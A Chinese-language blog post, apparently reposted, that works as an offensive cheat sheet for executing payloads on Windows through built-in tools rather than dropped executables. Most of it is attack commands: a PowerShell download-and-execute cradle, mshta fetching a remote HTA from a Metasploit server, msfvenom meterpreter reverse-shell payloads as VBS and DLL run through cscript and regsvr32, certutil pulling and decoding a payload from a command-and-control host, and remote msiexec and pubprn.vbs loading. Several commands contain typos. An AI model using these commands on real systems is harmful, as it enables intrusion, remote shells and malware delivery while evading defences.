windows无exe

大家好，又见面了，我是你们的朋友全栈君。

windows无exe

• 加载脚本方式
• 恶意脚本加载
  • powershell
  • mshta.exe
  • CScript.exe&WScript.exe
• Windows原生工具加载
  • regsvr32.exe
    • dll
    • sct
  • certutil.exe
  • winrm.vbs
  • msiexec.exe
  • wmic.exe
  • pubprn.vbs
• 参考

加载脚本方式

利用Windows自带的解析器：PowerShell、VBScript、批处理文件和JavaScript，对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本，直接调用解析器运行（可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆） 用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等，常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等，脚本类型的有：winrm.vbs、wmiexec.vbs、pubprn.vbs等

恶意脚本加载

powershell

代码语言：javascript复制

powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"

mshta.exe

msf

代码语言：javascript复制

use exploit/windows/misc/hta_server
set lhost x.x.x.x
set lport 4444
run

windows执行

代码语言：javascript复制

mshta http://192.168.164.128:8080/lWdH9aFeeIe.hta

CScript.exe&WScript.exe

上述两个工具都可以解析运行vbs和js的脚本。但值得注意的是WScript是将输出结果以对话框的形式显示，而CScript是以命令行的形式显示输出结果。使用也很简单：cscript %TEMP%log.vbs 或者 wscript C:test.js

代码语言：javascript复制

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f vbs -o 123.vbs

代码语言：javascript复制

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

代码语言：javascript复制

cscript 123.vbs

Windows原生工具加载

regsvr32.exe

dll

代码语言：javascript复制

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f dll -o 123.dll

代码语言：javascript复制

regsvr32 /u /s 123.dll

sct

参考 https://github.com/GreatSCT/GreatSCT

certutil.exe

代码语言：javascript复制

certuil.exe -urlcache -split -f [URL] outfile.file
certutil.exe -verifyctl -f -split http://www.baidu.com #无法绕过defender

编码

代码语言：javascript复制

base64 payload.exe > /var/www/html/update.txt

解码执行

代码语言：javascript复制

certutril -urlcache -split -f http://cc_server/update.txt & certurl -decode update.txt update.exe & update.exe

winrm.vbs

代码语言：javascript复制

cscript C:windowssystem32winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -file:123.xml

123.xml

代码语言：javascript复制

<?xml version="1.0" encoding="UTF-8"?>
<p:Create_INPUT xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process">
   <p:CommandLine>calc.exe</p:CommandLine>
   <p:CurrentDirectory>C:</p:CurrentDirectory>
</p:Create_INPUT>

无文件

代码语言：javascript复制

Winrm invoke Create wmicimv2/Win32_Process @{ 
   CommandLine="calc.exe";CurrentDirectory="C:"}

msiexec.exe

代码语言：javascript复制

C:WindowsSystem32msiexec.exe /q /i http://192.168.164.128:8080/123.msi

复现出错

wmic.exe

代码语言：javascript复制

# 暂无

pubprn.vbs

C:WindowsSystem32Printing_Admin_Scripts 下语言目录下 可以用来解析sct

代码语言：javascript复制

pubprn.vbs 127.0.0.1 script:http://x.x.x.x/payload1.sct

参考

https://github.com/GreatSCT/GreatSCT Windows-noFile

发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/159696.html原文链接：https://javaforall.cn

vbscript https 网络安全 linux

0 人点赞